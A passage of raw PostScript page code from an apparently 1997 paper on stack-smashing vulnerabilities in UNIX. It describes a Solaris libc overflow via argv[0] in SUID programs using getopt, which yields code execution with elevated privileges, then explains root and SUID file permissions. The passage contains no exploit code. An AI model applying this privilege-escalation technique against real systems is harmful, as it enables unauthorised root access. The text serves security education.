1.0000 SET_CMYK GS n 1709 6203 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2005 6203 M (replacing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2703 6203 M (argv[0] ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3267 6203 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 6203 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3658 6203 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4021 6203 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4585 6203 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4948 6203 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 6203 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5607 6203 M (getopt\(3\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6305 6203 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6936 6203 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7299 6203 M (the ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6103 M 1181 5916 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6103 M 7519 5916 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6015 M (appropriate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2006 6015 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2542 6015 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2810 6015 M (machine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3346 6015 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3681 6015 M (instructions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4619 6015 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4820 6015 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5021 6015 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5624 6015 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5825 6015 M (overwrite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6495 6015 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6763 6015 M (saved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7165 6015 M (stack ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5915 M 1181 5728 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5915 M 7519 5728 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5827 M (frame ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1611 5827 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1884 5827 M (upon ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2224 5827 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2698 5827 M (force ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3105 5827 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3378 5827 M (processor ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4053 5827 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4259 5827 M (execute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4800 5827 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5140 5827 M (supplied ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5748 5827 M (instructions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6624 5827 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6964 5827 M (elevated ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5727 M 1181 5540 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5727 M 7519 5540 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5639 M (permissions. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5539 M 1181 5297 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5539 M 7519 5297 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5296 M 1181 5109 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5296 M 7519 5109 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5208 M ( Solaris Libc Vulnerability.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5108 M 1181 4852 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5108 M 7519 4852 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 4846 M 7523 4846 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3779 4715 M (L0pht example 3.2.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4446 M (Much ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2142 4446 M (like ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2445 4446 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2702 4446 M (Xt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2922 4446 M (Library ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3476 4446 M (example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4094 4446 M (3.1.b, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4523 4446 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4780 4446 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5683 4446 M (described ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6375 4446 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6558 4446 M (example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 4446 M (3.2.a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4170 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1509 4170 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1735 4170 M (linked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2219 4170 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2583 4170 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2994 4170 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3590 4170 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3788 4170 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4060 4170 M (Solaris ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4592 4170 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5289 4170 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5905 4170 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6113 4170 M (fact, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6474 4170 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6783 4170 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 4170 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3894 M (programs linked with this library may be vulnerable to stack smashing holes.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 3325 M (4. UNIX File System Permissions) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3035 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1916 3035 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2339 3035 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2539 3035 M (better ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2989 3035 M (understand ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3790 3035 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4203 3035 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4903 3035 M (vulnerabilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5967 3035 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6130 3035 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6312 3035 M (first ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6652 3035 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 3035 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2759 M (understand ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2046 2759 M (certain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2607 2759 M (features ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3243 2759 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3490 2759 M (filesystem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4283 2759 M (permissions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5187 2759 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5424 2759 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5735 2759 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6259 2759 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6995 2759 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2483 M (Privileges ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1946 2483 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2148 2483 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2424 2483 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2913 2483 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3614 2483 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4150 2483 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4427 2483 M (invested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5054 2483 M (solely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5524 2483 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5726 2483 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6002 2483 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 6353 2483 M (root) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6630 2483 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6787 2483 M (sometimes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2207 M (called ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1656 2207 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1917 2207 M (superuser, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2656 2207 M (r) ST -5 0 MR (o) ST -5 0 MR (o) ST -5 0 MR (t) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3077 2207 M (infallibility ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3882 2207 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4051 2207 M (expected ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 2207 M (under ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5137 2207 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5565 2207 M (condition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6250 2207 M (including ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6935 2207 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1931 M (execution. As Eugene Spafford states[6]:) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 9 9 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9874 M (``The superuser is the main security weakness in the UNIX operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9714 M (system. Because the superuser can do anything, after a person gains ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9554 M (superuser privileges - for example, by learning the root password and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9394 M (logging in as root - that person can do virtually anything to the system. This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9234 M (explains why most attackers who break into UNIX systems try to become ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9074 M (s) ST -1 0 MR (u) ST -1 0 MR (p) ST -1 0 MR (e) ST -1 0 MR (r) ST -1 0 MR (u) ST -1 0 MR (s) ST -1 0 MR (e) ST -2 0 MR (r) ST -2 0 MR (s) ST -2 0 MR (.) ST -2 0 MR (') ST -2 0 MR (' ) ST -11 0 MR ([) ST -2 0 MR (6) ST -2 0 MR (]) ST -2 0 MR (,) ST -2 0 MR (\() ST -2 0 MR (8) ST -2 0 MR (2) ST -2 0 MR (\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8645 M (Each ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2106 8645 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2734 8645 M (\(process\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3409 8645 M (started ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3916 8645 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4145 8645 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4411 8645 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4742 8645 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 8645 M (inherits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5645 8645 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5911 8645 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6242 8645 M (u) ST -5 0 MR (s) ST -5 0 MR (e) ST -5 0 MR (r) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6678 8645 M (all-inclusive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8369 M (privilege. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1951 8369 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2165 8369 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2564 8369 M (cases ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2991 8369 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3269 8369 M (inherited ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3935 8369 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4601 8369 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4787 8369 M (subsequently ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5730 8369 M (passed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6249 8369 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6453 8369 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6870 8369 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8093 M (spawned ) ST -6 0 MR (by ) ST -6 0 MR (root's ) ST -7 0 MR (running ) ST -7 0 MR (processes.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7817 M (Set ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1976 7817 M (UID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2325 7817 M (\(SUID\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2921 7817 M (permissions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3770 7817 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3952 7817 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4208 7817 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4677 7817 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5358 7817 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5874 7817 M (grant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6269 7817 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6396 7817 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6727 7817 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 7817 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7541 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1479 7541 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2162 7541 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2354 7541 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2721 7541 M (scripts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3209 7541 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3401 7541 M (another ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3953 7541 M (user. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4368 7541 M (When ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4818 7541 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5388 7541 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5515 7541 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6133 7541 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6325 7541 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6692 7541 M (script ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7115 7541 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 7541 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7265 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1665 7265 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2339 7265 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2890 7265 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3139 7265 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3685 7265 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3860 7265 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4462 7265 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4757 7265 M (handles ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 7265 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5560 7265 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6171 7265 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6863 7265 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7020 7265 M (usually ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6989 M (owned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1720 6989 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1960 6989 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2237 6989 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2589 6989 M (who ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2949 6989 M (executed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3614 6989 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3891 6989 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4572 6989 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5043 6989 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5191 6989 M (unique ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5717 6989 M (permission ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6522 6989 M (bit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6771 6989 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6974 6989 M (indicate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6713 M (SUID, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1681 6713 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1928 6713 M (filesystem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2657 6713 M (indicates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3292 6713 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3465 6713 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3712 6713 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 6713 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4891 6713 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5184 6713 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5431 6713 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6040 6713 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6342 6713 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6608 6713 M (under ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7031 6713 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7278 6713 M (file ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6437 M (o) ST -4 0 MR (w) ST -4 0 MR (n) ST -4 0 MR (e) ST -4 0 MR (r) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1772 6437 M (ID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1997 6437 M (rather ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2435 6437 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2770 6437 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3022 6437 M (u) ST -5 0 MR (s) ST -5 0 MR (e) ST -5 0 MR (r) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3444 6437 M (ID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3669 6437 M (who ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4004 6437 M (executed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4644 6437 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4896 6437 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5594 6437 M (Often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6022 6437 M (times ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6432 6437 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6870 6437 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6161 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1456 6161 M (owned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1942 6161 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2151 6161 M (root; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2508 6161 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2920 6161 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3305 6161 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3978 6161 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4308 6161 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4508 6161 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5262 6161 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5471 6161 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5671 6161 M (underprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6767 6161 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7088 6161 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 6161 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5885 M (system, they run in memory 